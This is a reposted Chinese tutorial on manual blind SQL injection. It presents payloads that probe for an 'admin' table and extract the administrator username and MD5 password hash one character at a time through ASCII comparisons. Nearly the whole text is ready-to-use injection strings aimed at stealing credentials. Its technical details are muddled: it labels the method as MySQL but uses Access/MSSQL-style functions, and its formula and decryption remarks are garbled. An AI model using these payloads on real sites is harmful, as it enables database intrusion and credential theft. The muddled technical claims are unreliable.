首页 > 代码库 > Ascii逐字解码法注入,mysql5.0一下版本手工注入
Ascii逐字解码法注入,mysql5.0一下版本手工注入
/*By:珍惜少年时*/
逐字解码法,不一定非要猜字段内容。库名,表名,字段,data,都能猜。环境过滤了union(mysql5.0以下的版本就不支持union所以也可以用此方法),你可以用这方法。exists只是其中一种,还有别的方法也能猜。
注入思路:
先把表跟字段猜解出来,猜解出来了.这个算是一个半猜解查询吧
00x1判断表是否存在
and exists (select * from admin) //猜解是否含有admin这个表
00x2判断字段是否存在
and exists (select username from admin) //猜解是否含有username这个字段 and exists (select password from admin) //猜解是否含有password这个字段
00x3字段长度的判断,判断了其长度更利于注入。比如判断了username的长度为五,那么极有可能是admin
username字段的判断: and (select top 1 len(username) from admin)>5 //返回错误 and (select top 1 len(username) from admin)=5 //返回正确,说明username的单词长度为五个,很有可能是admin password字段的判断: and (select top 1 len(password) from admin)>16 //返回错误 and (select top 1 len(password) from admin)=16 //返回正确,说明password的单词长度为十六位的,很可能是经过md5加密的.
00x4[猜解管理员账号] //使用ASCII转换即可获得加密内容.
and(select top 1 asc(mid(username,1,1)) from admin)>97 错误 and(select top 1 asc(mid(username,1,1)) from admin)=97 正确 则说明只有第一位的ASCII码为九十七 and(select top 1 asc(mid(username,2,1)) from admin)=100 第二位也是同理.只不过mid函数里要修改以下部分内容 and(select top 1 asc(mid(username,3,1)) from admin)=109 and(select top 1 asc(mid(username,4,1)) from admin)=105 and(select top 1 asc(mid(username,5,1)) from admin)=110
00x5[猜解管理员密码]//与猜解账号方法大同小异
公式:and(select top 1 asc(mid(password,a,n)) from admin)>97 //注:a大于n大1,后面的数字是ascii。
and(select top 1 asc(mid(password,1,1)) from admin)>97 and(select top 1 asc(mid(password,1,1)) from admin)=97 and(select top 1 asc(mid(password,2,1)) from admin)=50 and(select top 1 asc(mid(password,3,1)) from admin)=36 ......................................................
然后将97 50 36 等ascii码拿去解密。即可拿到真正的md5值
Ascii逐字解码法注入,mysql5.0一下版本手工注入
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。